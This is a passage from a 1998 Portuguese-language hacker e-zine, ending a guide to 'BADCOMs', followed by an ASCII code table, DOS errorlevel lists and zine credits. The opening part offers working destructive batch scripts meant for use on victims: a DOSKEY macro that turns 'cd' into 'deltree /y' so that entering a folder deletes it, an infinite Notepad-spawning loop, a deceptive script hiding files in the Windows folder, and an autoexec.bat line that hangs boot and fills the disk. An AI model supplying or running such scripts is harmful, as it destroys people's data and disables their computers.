VMS, no diretório \SYSTEM do Ruimdows e no final exibe uma mensagem pra enganar o idiota. Esse BADCOM também esconde o diretório VMS, por motivos óbvios. Duas coisas importantes: se não for feito um PIPE, com o comando "ECHO D |", o BADCOM não funcionará, pois perguntará se o VMS especificado é um arquivo ou um diretório. Outra coisa que você deve ter notado foi o uso da variável "%windir%". Isso é uma variável de sistema do Windows, que define em que diretório o Ruimdows está instalado. 4.7) Abrindo janelas infinitamente [window.bat] 1| @echo off 2| :loop 3| %windir%\notepad 4| goto loop Outro BADCOM simples, mas que é um pé no saco! Fica abrindo infinitas janelas do NOTEPAD, devido ao comando "goto loop" (linha 4) que retorna para a linha 2. Note também o uso da variável "%windir%" novamente. Você pode substituir o "notepad" por outro programa, se você quiser. 4.8) Usando o DOSKEY pra destruir [tbomb2.bat] 1| @echo off 2| doskey cd deltree /y $1 /echo:off 3| Um arquivo necessário não foi encontrado Ótimo BADCOM: fácil e destrutivo. Faz com que quando sua vítima tentar entrar em um diretório, delete esse diretório. Isso ocorre porque quando você entra em um diretório, usa o comando "CD $1", onde $1 equivale ao diretório que você quer entrar. Essa macro substitui o "CD $1" por "DELTREE /Y $1". 4.9) Travando o computador durante a inicialização [autoexec.bat] @type autoexec.bat >> autoexec.bat Esse é um batch 2 em 1. Ao mesmo tempo que trava o computador da vítima, aumenta o tamanho do HD. Obviamente, esse comando deve ser ADICIONADO À ÚLTIMA LINHA DO AUTOEXEC.BAT. O comando TYPE vai adicionar tudo que tem no Autoexec ao próprio Autoexec fazendo um loop infinito (e travando tudo), porque o DOS executa um batch linha por linha. Quando o batch chega ao fim, executa o comando mostrado acima e começa tudo de novo. ┌────────────────────────────────────────────────────────────────────────────┐ │\/\/\/\/\/\/\/\/\ - - = [ CoMo ConTaTaR o AuToR ] = - - /\/\/\/\/\/\/\/\/\/\│ └────────────────────────────────────────────────────────────────────────────┘ Se você tiver qualquer dúvida, comentário, encontrou alguma informação errada ou sabe de alguma dica legal pra ser usada num BADCOM, meu e-mail é agm.overlord@usa.net e meu ICQ# é 1941484. Contanto que você não fique me enchendo o saco com perguntas idiotas, sinta-se livre pra me contatar quando você quiser. ┌────────────────────────────────────────────────────────────────────────────┐ │/\/\/\/\/\/\/\/\ - - = [ ApÊnDiCe A: TaBelA ASCii ] = - - /\/\/\/\/\/\/\/\/\│ └────────────────────────────────────────────────────────────────────────────┘ Aqui vai a lista dos caracteres ASCII estendidos e seus respectivos códigos. Para usá-los pressione ALT, escreva o número do código e solte ALT (no teclado numérico) ┌─────────┬──────┐ ┌─────────┬──────┐ │CARACTERE│CÓDIGO│ │CARACTERE│CÓDIGO│ ├─────────┼──────┤ ├─────────┼──────┤ │ Ç │ 128 │ │ └ │ 192 │ │ ü │ 129 │ │ ┴ │ 193 │ │ é │ 130 │ │ ┬ │ 194 │ │ â │ 131 │ │ ├ │ 195 │ │ ä │ 132 │ │ ─ │ 196 │ │ à │ 133 │ │ ┼ │ 197 │ │ å │ 134 │ │ ã │ 198 │ │ ç │ 135 │ │ à │ 199 │ │ ê │ 136 │ │ ╚ │ 200 │ │ ë │ 137 │ │ ╔ │ 201 │ │ è │ 138 │ │ ╩ │ 202 │ │ ï │ 139 │ │ ╦ │ 203 │ │ î │ 140 │ │ ╠ │ 204 │ │ ì │ 141 │ │ ═ │ 205 │ │ Ä │ 142 │ │ ╬ │ 206 │ │ Å │ 143 │ │ ¤ │ 207 │ │ É │ 144 │ │ ð │ 208 │ │ æ │ 145 │ │ Ð │ 209 │ │ Æ │ 146 │ │ Ê │ 210 │ │ ô │ 147 │ │ Ë │ 211 │ │ ö │ 148 │ │ È │ 212 │ │ ò │ 149 │ │ ı │ 213 │ │ û │ 150 │ │ Í │ 214 │ │ ù │ 151 │ │ Î │ 215 │ │ ÿ │ 152 │ │ Ï │ 216 │ │ Ö │ 153 │ │ ┘ │ 217 │ │ Ü │ 154 │ │ ┌ │ 218 │ │ ø │ 155 │ │ █ │ 219 │ │ £ │ 156 │ │ ▄ │ 220 │ │ Ø │ 157 │ │ ¦ │ 221 │ │ × │ 158 │ │ Ì │ 222 │ │ ƒ │ 159 │ │ ▀ │ 223 │ │ á │ 160 │ │ Ó │ 224 │ │ í │ 161 │ │ ß │ 225 │ │ ó │ 162 │ │ Ô │ 226 │ │ ú │ 163 │ │ Ò │ 227 │ │ ñ │ 164 │ │ õ │ 228 │ │ Ñ │ 165 │ │ Õ │ 229 │ │ ª │ 166 │ │ µ │ 230 │ │ º │ 167 │ │ þ │ 231 │ │ ¿ │ 168 │ │ Þ │ 232 │ │ ® │ 169 │ │ Ú │ 233 │ │ ¬ │ 170 │ │ Û │ 234 │ │ ½ │ 171 │ │ Ù │ 235 │ │ ¼ │ 172 │ │ ý │ 236 │ │ ¡ │ 173 │ │ Ý │ 237 │ │ « │ 174 │ │ ¯ │ 238 │ │ » │ 175 │ │ ´ │ 239 │ │ ░ │ 176 │ │ ­ │ 240 │ │ ▒ │ 177 │ │ ± │ 241 │ │ ▓ │ 178 │ │ ‗ │ 242 │ │ │ │ 179 │ │ ¾ │ 243 │ │ ┤ │ 180 │ │ ¶ │ 244 │ │ Á │ 181 │ │ § │ 245 │ │  │ 182 │ │ ÷ │ 246 │ │ À │ 183 │ │ ¸ │ 247 │ │ © │ 184 │ │ ° │ 248 │ │ ╣ │ 185 │ │ ¨ │ 249 │ │ ║ │ 186 │ │ · │ 250 │ │ ╗ │ 187 │ │ ¹ │ 251 │ │ ╝ │ 188 │ │ ³ │ 252 │ │ ¢ │ 189 │ │ ² │ 253 │ │ ¥ │ 190 │ │ ■ │ 254 │ │ ┐ │ 191 │ │   │ 255 │ └─────────┴──────┘ └─────────┴──────┘ ┌────────────────────────────────────────────────────────────────────────────┐ │/\/\/\/\/\/\/\/\ - - = [ ApÊnDiCe B: ERRoRlEvElS ] = - - /\/\/\/\/\/\/\/\/\/│ └────────────────────────────────────────────────────────────────────────────┘ Por enquanto eu só consegui os errorlevels de alguns programas (alguns deles inúteis) do DOS. Conforme eu for arranjando mais, eu aumento essa lista. -> MSBACKUP 0 - Normal 1 - Nenhum arquivo foi copiado 2 - Conflito de partilhamento de arquivos 3 - CTRL+BREAK foi pressionado 4 - Erro -> DISKCOMP 0 - Normal 1 - Os disquetes eram incomparáveis 2 - CTRL+BREAK pressionado 3 - Erro de hardware 4 - Erro de inicialização -> DISKCOPY 0 - Normal 1 - Erro de leitura/gravação 2 - CTRL+BREAK pressionado 3 - Erro de hardware 4 - Erro de inicialização -> FORMAT 0 - Normal 2 - CTRL+BREAK foi pressionado 4 - Erro 5 - "N" foi pressionado quando perguntou se queria formatar o HD -> KEYB 0 - Normal 1 - Erro de sintaxe 2 - Arquivo de teclado não encontrado 3 - Problema de memória 4 - Erro no dispositivo CON 5 - Solicitação de código de página não preparado 6 - Tabela de tradução não encontrada 7 - Versão incorreta do DOS -> REPLACE 0 - Normal 1 - Arquivo fonte não encontrado 3 - Path do arquivo fonte não encontrado 5 - Acesso negado 8 - Memória insuficiente 11 - Erro de sintaxe 15 - Unidade de disco inexistente 22 - Versão incorreta do DOS -> RESTORE 0 - Normal 1 - Nenhum arquivo encontrado 2 - Conflito de partilhamento de arquivos 3 - CTRL+BREAK pressionado 4 - Erro -> SETVER 0 - Normal 1 - Parâmetro desconhecido 2 - Nome de arquivo desconhecido 3 - Falta de memória 4 - Versão do DOS errada 5 - Entrada do programa não foi encontrada 6 - Sistema DOS não foi encontrado 7 - Unidade de disco inválida 8 - Excesso de parâmetros 9 - Faltam parâmetros 10 - Erro lendo MSDOS.SYS 11 - Tabela de versão está corrompida 12 - Arquivos de sistema DOS não suportam as tabelas de versão 13 - Não há espaço disponível na tabela de versão 14 - Erro gravando MSDOS.SYS -> XCOPY 0 - Normal 1 - Nenhum arquivo encontrado 2 - CTRL+BREAK pressionado 4 - Erro de inicialização 5 - Erro de gravação/disco protegido -> FIND 0 - Normal, o comando encontrou a string especificada 0 e 1 ao mesmo tempo - A string não foi encontrada ┌╔═ ═╗┐ │║ SOBRE ESTA ZINE ║│ └╚═ ═╝┘ Ésta Zine foi feita por SeQ MaSsÎvE® e tem como objetivo, mostrar tudo o que diz a respeito de Programação e Hacking. Peço desculpas, por não sair nenhuma matéria sobre Phreack, mas ja tem uma sobre Telefonia, que sairá na número 2, a Zine ficou muito gigante !!, ja tenho muito material para a Número 2, e agradeço TODOS que me deram atenção em busca de materiais !!! Desculpe também por não ter material meu na Zine, a número 2 inteira vai ter Textos Novos feitos por mim, e só na parte Phreacking vai vir de fora, portanto galera capricha ai em seus Txt's para colocar na area da zine 2. ATENÇÃO: Como é uma Zine nova, é melhor não colocar para Download em sua Página, caro Leitor, pois em breve, apartir da Numero 2, serão convidados para participar de uma ficha cadastral, onde terão chance de ser um Mirror Site da SeQ MaSSÎvE® E-Zine, Aguarde !!! Staff da Zine Número 1: ┌╔═ ═╗┐ Feito por SeQ MaSSÎvE® │║ CÓDIGO FONTE ║│ UIN: 1292685 └╚═ ═╝┘ HP: www.terravista.pt/Meco/1840/ ┌╔═ ═╗┐ Edição: SeQ MaSsÎvE® │║ NOTICIAS - E-MAIL - NOVIDADES - BESTEIRAS - ETC ║│ UIN: 1292685 └╚═ ═╝┘ HP: tá ali em cima... ┌╔═ ═╗┐ Texto Enviado por: Mr. YoZZo │║ TEXTOS ENVIADOS POR AMIGOS ║│ UIN: 4821767 └╚═ ═╝┘ Texto Sobre Hotmail HP: http://chatspam.home.ml.org http://mcpage.home.ml.org ┌╔═ ═╗┐ Enviado por WarBlade │║ IP's By WarBlade ║│ UIN: 1858333 └╚═ ═╝┘ HP: Texto sobre IP's , tudo sobre invasão com IP. ┌╔═ ═╗┐ Enviado e Produzido por: ØvërlørÐ │║ GUIA DEFINITIVO DE BADCOM'S ║│ UIN: 1941484 └╚═ ═╝┘ CADASTRO DO LEITOR: Se você é leitor desta E-zine e gostaria de Receber Mail'z com as novidades e a propria Zine pelo correio, basta me enviar um E-mail com o seguinte Subject: LEITOR SEQ MASSIVE E-ZINE, no corpo da menssagem, envie seu Nome(Opcional), Nick, Idade, E-mail, Home Page(Opcional). Obrigado por ler a SeQ MaSsÎvE® E-Zine Número 1. Valeu'z ┌╦═══╦┐ ┌╦═══╦┐ ┌╦═══╦┐ └╩═══╦┐ ├╬══ │║ ║│ └╩═══╩┘ └╩═══╩┘ └╩══╬╩┘ ┌╦═╦═╦┐ ┌╦═══╦┐ ┌╦═══╦┐ ┌╦═══╦┐ ┌╦═╦═╦┐ ┌╦ ╦┐ ┌╦═══╦┐ │║ ║ ║│ ├╬═══╬┤ └╩═══╦┐ └╩═══╦┐ ║ │║ ╔╝┘ ├╬══ └╩ ╩┘ └╩ ╩┘ └╩═══╩┘ └╩═══╩┘ └╩═╩═╩┘ └╩═╝ └╩═══╩┘ ┌╦═══╦┐ ┌╦═══╦┐ ┌╦═╦═╦┐ ┌╦═══╦┐ ┌╦═══╦┐ ├╬══ ═ ┌╦═══╩┘ ║ │║ ║│ ├╬══ └╩═══╩┘ └╩═══╩┘ └╩═╩═╩┘ └╩ ╩┘ └╩═══╩┘ ANO 1 - Número 1 [Maio/1998]